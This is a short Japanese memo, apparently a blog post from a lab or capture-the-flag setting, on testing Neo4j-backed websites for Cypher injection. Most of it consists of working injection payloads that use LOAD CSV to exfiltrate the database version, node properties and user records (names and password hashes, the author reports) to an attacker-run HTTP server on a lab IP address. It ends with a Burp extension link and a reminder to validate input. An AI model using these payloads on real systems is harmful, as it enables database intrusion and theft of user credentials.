忘備録:Neo4jへの脆弱性診断手法の構築に向けて
Neo4jとは、グラフ構造のデータモデルを扱うデータベース管理システム(DBMS)であり、グラフデータベースに分類されます。多くは調べ切れていませんが、攻撃手法はまだまだ未開のような気がしています。
TL;DR
- "Cypher Injection"としてまとまっている
- インジェクション攻撃のレスポンスは、別のweb serverを立ち上げて、チェックする
- Burpの拡張機能としてプラグインが存在する
- 対策として、入力の検証を怠るな
脆弱性診断手順
利用ツール:Kali OSとペネトレーションツール
検査対象:Neo4Jデータベースで構築されたウェブサイト
手動で攻撃してみる。
Neo4jがインストールされているサーバーを発見する。早速、'(カンマ)を利用して、サイトの入力フィールドでインジェクションできる箇所を特定する。
まず、Kali上でウェブサーバを起動。
python3 -m http.server 8000
バージョンの特定
IPアドレスとポートは変えてください。
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Pythonで立ち上げたサーバのレスポンスに以下が表示される。
ラベルを指定してノード情報を取得
"Flag"ラベルを持つノードを取得
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
実際には、何も取得できませんでした。
脆弱性検査なので、ユーザ周りに何かないか調べました。
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
実際には、ユーザ名とパスワードハッシュが取得できました。
詳細は以下に記述されている。
BURPの拡張機能は以下をチェック。試された方、フィードバックほしいです。
https://portswigger.net/bappstore/72f7b61e22f64ef5882dff6054df5ac7
ユーザ入力のチェックは必須。
ハッピーハッキング